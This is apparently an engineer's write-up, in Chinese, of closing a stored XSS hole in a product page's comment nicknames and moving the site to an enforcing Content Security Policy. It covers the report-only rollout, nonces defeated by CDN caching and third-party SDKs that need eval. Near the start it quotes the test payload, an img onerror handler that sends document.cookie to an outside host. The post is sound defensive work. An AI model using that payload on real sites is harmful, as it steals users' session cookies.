CSP 切到拦截模式:47 处内联脚本与一次 XSS 收口

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CSP 切到拦截模式:47 处内联脚本与一次 XSS 收口

漏洞修完了,安全同学还要一层兜底

2026 年 3 月的一次例行扫描,报告里有一条高危:商品详情页的评论区把用户昵称原样拼进了 HTML。测试账号填 <img src=x onerror="fetch('//x.io?c='+document.cookie)">,页面一刷新,cookie 就发出去了。

问题本身不难修。前端接 DOMPurify 3.1 过滤,后端落库前再做一次 HTML 实体转义,两个 commit 收工。

麻烦在后面。安全团队要求加 CSP,理由是同类问题我们已经第三次了。

这话我没法反驳。2024 年 8 月运营后台的公告富文本出过一次,2025 年 11 月接的第三方客服 SDK 自己往页面插了一段没转义的用户名。拼接字符串的地方,永远比代码评审能覆盖的多。

先跑七天报告模式,拿到真实的违规分布

直接开拦截大概率会把线上打挂。我们站点是 Vue 3.4 + Vite 5 构建,首屏由 Node 中间件 SSR,Nginx 在前置,页面里挂了 GA4、百度统计、客服 SDK、A/B 实验工具四家外部脚本。任何一条策略写错,用户看到的就是白屏。

所以第一版只发报告头,不拦:

# 第一阶段:只上报,不影响执行
add_header Content-Security-Policy-Report-Only "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; connect-src 'self' https:; report-uri /csp-report" always;

接收端是几十行 Express:

// Node 20.11 + Express 4.19
app.post(
  '/csp-report',
  express.json({ type: ['application/csp-report', 'application/json'], limit: '64kb' }),
  (req, res) => {
    const r = req.body['csp-report'] || req.body;
    metrics.inc('csp.violation', {
      directive: r['violated-directive'] || r.effectiveDirective,
      blocked: (r['blocked-uri'] || r.blockedURL || '').slice(0, 120),
    });
    res.status(204).end();
  }
);

七天下来单日 3.2 万条。去重后按指令分组,script-src-elem 占 78%,其中 61% 的 blocked-uri 指向那四家第三方的域。

剩下的是我们自己的内联脚本,一共 47 处:SSR 注入的 window.__INITIAL_STATE__、三段埋点、以及打包模板里残留的内联事件。

这 47 处就是全部工作量。没有这份报告,你只能靠 grep 猜。

坑一:想先加 unsafe-inline 兜着,结果 nonce 直接失效

最初的计划很温和:script-src 里先写 'self' 'unsafe-inline',挡住外部域,内联脚本慢慢改。

上线十分钟后,Chrome 控制台开始刷同一句话:

Note that 'unsafe-inline' is ignored if either a hash or nonce value is present in the source list.

规范里就是这么定的:source list 里只要出现 nonce 或 hash,'unsafe-inline' 就被忽略。所谓”先松后紧”这条常规路径,在要用 nonce 的场景里根本不存在。

要么全量上 nonce,要么老实留在 unsafe-inline 里不动。这一步让我们多花了两天,把 47 处一次性清完。

代价是实在的。清完之后有三处老页面的埋点漏了 nonce,灰度环境的转化数据断了两天,最后靠比对前端日志才发现。

坑二:nonce 被 CDN 缓存住,等于没有 nonce

nonce 的安全前提是每个响应唯一。我们的 SSR 页面在 CDN 上整页缓存 300 秒,上线第一天就出现了同一个 nonce 五分钟服务几万个请求的情况。

这个状态比不加 CSP 更糟:攻击者刷一次页面拿到 nonce,就能构造出通过校验的内联脚本。

改法是把整页缓存拆成”骨架不缓存 + 数据片段缓存”,nonce 每个响应重新生成:

// SSR 中间件(Node 20.11)
const nonce = crypto.randomBytes(16).toString('base64');
res.setHeader(
  'Content-Security-Policy',
  `script-src 'self' 'nonce-${nonce}' 'strict-dynamic'; object-src 'none'; base-uri 'self'`
);
res.render('product', { nonce, initialState });

命中率从 92% 掉到 41%,回源 QPS 从 1200 涨到 8600,加了 6 台缓存节点才压住。这是整个改造里最贵的一笔。

如果你们的页面本来就动态渲染、缓存命中率不高,这一项成本接近零。反过来,重缓存的站点得先算这笔账,别先写策略。

坑三:第三方 SDK 要 eval,你给不给

客服 SDK 用 new Function 解析话术模板,A/B 工具用 eval 跑实验脚本。接进 strict-dynamic 之后两个都挂了。

给 'unsafe-eval' 能立刻解决。但这样一来 script-src 的收益会被削掉一大块:任何能把字符串送进页面的地方——URL 参数、JSON 回显、localStorage——都可能变成执行入口。

我倾向不给,最后也确实没给。

办法是把客服 SDK 迁到 chat.example.com 独立子域,独立 CSP,走 postMessage 通信,主站只留一个 iframe。A/B 工具换了一家不用 eval 的供应商。多维护一个子域加一套消息协议,换主站完全不放开 eval,这笔交易我认为值。

坑四:style-src 暂时留着 unsafe-inline

Vue 的 :style 绑定和 Element Plus 的弹层都会往元素上写内联 style,收掉这一项要改几十个组件。

收益呢?CSS 注入顶多做到覆盖页面内容、配合点击劫持,执行不了 JS。风险面和 script-src 不是一个量级。

所以我们把它留在 style-src 'self' 'unsafe-inline',写进备忘,下季度再动。安全改造很少能一次做全,能明确写下”暂时不做的部分和原因”,比假装全做完要好。

最终的 header

add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'nonce-$csp_nonce' 'strict-dynamic'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; connect-src 'self' https://api.example.com; object-src 'none'; base-uri 'self'; frame-ancestors 'self'; report-to csp-endpoint" always;

'strict-dynamic' 有个反直觉的效果:在支持 CSP3 的浏览器里,它会让手写的域名白名单失效,脚本能不能跑只取决于 nonce 的传播链。这是设计如此。

老浏览器不认它,会自动退化成域名白名单。所以两条一起写,不算冗余。

SSR 渲染 每响应生成 nonce 浏览器校验 script-src 匹配 放行执行 埋点、SDK 正常跑 拦截 含 blocked-uri report-to 收集 按指令聚合 收敛白名单 清内联、改 SDK

下一轮收紧 违规命中 HTML

图 1:报告驱动的收敛环路。先让违规在上报端汇聚,再改代码收紧策略,不是反过来

验证方式很土但够用:curl -sI https://www.example.com | grep -i content-security-policy 确认头发出去了,再翻 DevTools 的 Issues 面板,Chrome 会把每条被拦的资源和对应指令列出来。

什么情况下用哪一档

纯静态博客、文档站:script-src 'self' 加 hash 就够。没有 SSR 就没有 nonce,少一整类麻烦,构建产物里确认没内联脚本的话,第一天就能 enforce。

内部管理后台:几乎没有第三方脚本,直接上拦截,一天能推完。代价最小、收益最明显的一档,建议先从这类系统练手。

C 端内容站 + 多个第三方:nonce + strict-dynamic + report-to,上线前跑满两周报告模式。缓存策略要先改,否则 nonce 会被缓存吃掉,做了等于没做。

塞满 onclick 的老系统:别指望 nonce。长期跑报告模式,按页面逐个替换内联事件,替换完一页收紧一页。硬上的结果通常是上线当天所有按钮失灵,然后整体回滚。

CSP 拦不住逻辑漏洞,它只在”字符串被拼进 HTML”这一类问题上当最后一道闸。可这类问题偏偏最常见——一年三次,我们自己的记录。